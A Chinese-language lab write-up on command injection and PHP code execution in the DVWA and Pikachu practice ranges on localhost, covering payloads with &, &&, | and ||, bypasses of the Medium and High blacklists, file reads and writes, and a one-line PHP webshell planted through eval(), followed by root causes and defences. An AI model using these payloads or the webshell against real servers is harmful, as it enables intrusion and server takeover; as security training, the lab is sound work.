DVWA和Pikachu命令注入漏洞检测实验

一、实验目的

通过 DVWA 的 Command Injection 模块和Pikachu 靶场中的 RCE 模块,理解:

  1. 什么是命令执行漏洞;
  2. 什么是代码执行漏洞;
  3. 如何通过参数拼接执行系统命令;
  4. 漏洞产生的原因;
  5. 如何进行简单验证和防御分析。

二、DVWA 靶场中的Command Injection 模块

登录 DVWA:浏览器访问 127.0.0.1/DVWA,登录并在左侧菜单选择 "Command Injection"。

一)Low 级别实验

1. 源码分析

Low 级别完全没有对用户输入进行任何过滤。它直接获取用户的 IP,并拼接到 ping 命令中通过 shell_exec() 执行。

2. 漏洞利用:在输入框输入命令查看结果。

(1)输入 IP 地址 127.0.0.1,点击 submit 按钮提交

结果分析:输入 127.0.0.1:正常执行 ping,返回网络连通信息。

(2)输入 127.0.0.1&ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1&ipconfig:& 表示无论 ping 成功与否都执行后续命令,ping 与 ipconfig 结果均输出,漏洞明显。

(3)输入 127.0.0.1&&ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1&&ipconfig:&& 表示前命令成功才执行后者,ping 成功后输出 ipconfig,可执行系统命令。

(4)输入 127.0.0.1|ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1|ipconfig:| 管道符只显示 ipconfig 结果,ping 输出被覆盖,执行恶意命令更隐蔽。

(5)输入 127.0.0.1||ipconfig,点击 submit 按钮提交

结果分析:输入 127.0.0.1||ipconfig:|| 表示前命令失败才执行后者,ping 成功,不执行 ipconfig。

(6)输入1||ipconfig,点击 submit 按钮提交

结果分析:输入 1||ipconfig:ping 0.0.0.1 失败,触发 || 执行 ipconfig,成功绕过。

结论 :Low 无任何过滤,直接拼接执行,命令注入漏洞完全暴露。

二) Medium 级别实验

1. 源码分析

Medium 级别引入了黑名单机制,代码如下:

$substitutions = array( '&&' => '', ';' => '', );

它将 && 和 ;(Linux常用)替换为空字符串。

2. 漏洞利用:绕过命令执行漏洞防范措施,在输入框输入命令查看结果。

(1)输入 127.0.0.1&ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1&ipconfig:可执行,& 不在黑名单。

(2)输入 127.0.0.1&&ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1&&ipconfig:&& 被替换为空,IP 与命令拼接成无效地址,执行失败。

(3)输入 127.0.0.1|ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1|ipconfig:| 未被过滤,直接执行 ipconfig。

(4)输入 127.0.0.1||ipconfig,点击 submit 按钮提交

结果分析:127.0.0.1| |ipconfig:| |未被过滤,直接执行 ping。

(5)输入1||ipconfig,点击 submit 按钮提交

结果分析:1||ipconfig:ping 失败,执行 ipconfig。

3. 利用命令执行漏洞读取文件及文件内容

(1)在输入框中输入 127.0.0.1|dir d:\,将看到 d 盘中文件

结果分析:目录 / 文件操作:127.0.0.1|dir d:\ 可列目录,展现目标主机磁盘目录。

(2)在输入框中输入 127.0.0.1|type d:\a.txt >> d:\shell.txt (a.txt和 shell.txt为 d 盘下的已有的文件),查看文件内容是否发生改变

结果分析:1. 输入 payload :127.0.0.1|type d:\test.txt >> d:\lcy.txt

2.操作效果:提交请求后,d:\lcy.txt 文件中成功追加了 d:\test.txt 中的内容 1234 ,文件内容发生了预期改变。

3.截图验证:lcy.txt 中原有内容 1111 下方新增了一行 1234 ,与 test.txt 的内容完全一致,证明命令执行成功。

三)High 级别实验

1. 源码分析

High 级别的黑名单更加严格,代码类似于:

$substitutions = array(

'&' => '',

';' => '',

'| ' => '', // 注意|后面有一个空格!

'-' => '',

'$' => '',

'(' => '',

')' => '',

'`' => '',

'||' => '',

);

2. 漏洞利用

通过仔细观察源码发现,开发者在替换 | (竖线+空格)时留下了逻辑缺陷。如果在 | 后面紧跟命令而不加空格,就可以绕过。

输入:127.0.0.1|ipconfig

结果分析:从截图可以看到,输入 127.0.0.1|ipconfig 后,页面成功返回了完整的 ipconfig 命令执行结果,包含本机的所有网卡配置信息(IPv4 地址、子网掩码、网关等),说明命令注入漏洞在 High 级别下被成功绕过,ipconfig 命令被正常执行。

三、Pikachu 靶场中的 RCE 模块

进入 Pikachu 后,在左侧菜单中找到"RCE",包含两个实验模块:

  • exec "ping":模拟远程命令执行漏洞;
  • exec "eval":模拟远程代码执行漏洞。

一)远程系统命令执行(exec "ping")

访问 Pikachu 靶场,点击左侧菜单栏的 RCE -> exec "ping"。在这个实验中,后台模拟了一个 Ping 工具,接收用户输入的 IP 地址,并与系统的原生ping 命令进行拼接执⾏。

1. 常规功能测试

在输入框内输入正常的 IP 地址,例如本机的回环地址:127.0.0.1

结果分析:输入 127.0.0.1 是本地回环地址,代表 "本机",网络连通性正常,因此 ping 命令得到了正常响应。

后端代码将用户输入的 IP 地址直接拼接到系统 ping 命令中执行。

2. 构造恶意 Payload 并拼接命令

测试系统身份:在输入框中填入 127.0.0.1 | whoami

结果分析:输入 127.0.0.1|whoami :返回当前用户,获取服务器权限信息。

查看系统网络:输入 127.0.0.1 & ipconfig

结果分析:输入 127.0.0.1&ipconfig:同时输出 ping 与网卡信息,漏洞可利用。

二)远程代码执行(exec "eval")

访问靶场,点击 RCE -> exec "eval"。这个实验的模拟场景是开发人员滥用了 PHP 环境中的 eval() 函数。该函数会将括号里输入的任意字符串当做 PHP 代码来解析和运行。

1. 模块环境确认

输入框中输入经典的 PHP 探针函数:

phpinfo();

点击提交。

结果分析:输入 phpinfo();:成功返回 PHP 环境信息,确认代码执行漏洞。

2.通过代码执行系统命令

返回输入界面,利用 PHP 的 system() 执行系统层级命令。在输入框输入:

system('ipconfig');

提交后**,保存截图并分析结果。**

结果分析:输入 system('ipconfig');:以 PHP 代码调用系统命令,成功获取网络信息。

3.写入 WebShell / 一句话木马

通过代码执行,直接在 Web 根目录下植入木马文件,便于后续使用蚁剑 (AntSword) 或冰蝎进行连控制。输入以下 Payload:

fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]);?>');

提交后**,保存截图并分析结果。**

结果分析:写入木马: fputs(fopen('shell.php','w'),'<?php @eval($_POST["pass"]);?>'); 成功生成一句话木马。

**再次输入:**fputs(fopen('evil.php','w'),'<?php phpinfo();?>');

查看WWW\pika\vul\rce文件中是否生成文件evil.php.

访问:http://127.0.0.1/pika/vul/rce/evil.php

保存访问结果截图并分析结果。

结果分析:1. 写入探针: fputs(fopen('evil.php','w'),'<?php phpinfo();?>'); 成功生成文件,访问可正常解析。

2.结论: eval () 无限制使用,可直接写文件、拿服务器权限,危害极大。

四、实验小结

  1. 漏洞原理
  • 命令注入:后端未校验用户输入,直接将参数拼接到系统命令中执行。
  • 代码执行:不安全使用 eval()、system() 等函数,用户输入被当作代码运行。
  • 核心原因:信任用户输入、过滤不严、黑名单不完整、过滤逻辑缺陷

2.连接符作用(Windows

  • &:前后命令都执行
  • &&:前成功后才执行
  • |:只显示后一条结果
  • ||:前失败后才执行

3.防护弱点总结

  • Low:无防护 → 完全可利用
  • Medium:黑名单不全 → 轻易绕过
  • High:黑名单有逻辑缺陷 → 仍可绕过
  • Pikachu:无过滤 → 高危漏洞

4.安全防御措施

  • 禁用 / 限制 system()、exec()、eval() 等危险函数。
  • 使用白名单校验 IP、域名等输入格式,不使用黑名单。
  • 对用户输入转义特殊字符,如 &、|、;、% 等。
  • 命令执行使用安全接口,不直接拼接用户参数。
  • 网站目录最小权限,上传目录禁止脚本执行权限。
  • 日志记录命令执行行为,便于审计与入侵发现。
相关推荐
应用市场1 小时前
Android Verified Boot 2.0 安全启动原理详解
android·安全
jixunwulian1 小时前
AI边缘智能网关工业安全领域的边缘智能预警方案应用
网络·人工智能·安全
专注VB编程开发20年2 小时前
json和python元组,列表,字典对比
开发语言·python·json·php
TechWayfarer2 小时前
网络安全视角:利用IP定位API接口识别机房与基站流量(合规风控篇)
开发语言·网络·数据库·python·安全·网络安全
SL-staff2 小时前
企业文档私有化部署的安全设计:加密存储、传输与审计日志
安全·私有化部署·数据安全·加密·安全架构·合规·企业文档
怀旧,2 小时前
【Linux网络编程】15. Reactor 反应堆模式
linux·网络·php
念越2 小时前
HTTPS 安全内核:对称与非对称加密的博弈,数字证书一战定局
java·网络·网络协议·安全·https
Dylan的码园3 小时前
2026年免费远程控制软件哪个好?ToDesk向日葵UU远程免费版横评,不限次数不限时长
服务器·开发语言·php
dog2503 小时前
解析几何的力量(1)
服务器·开发语言·网络·php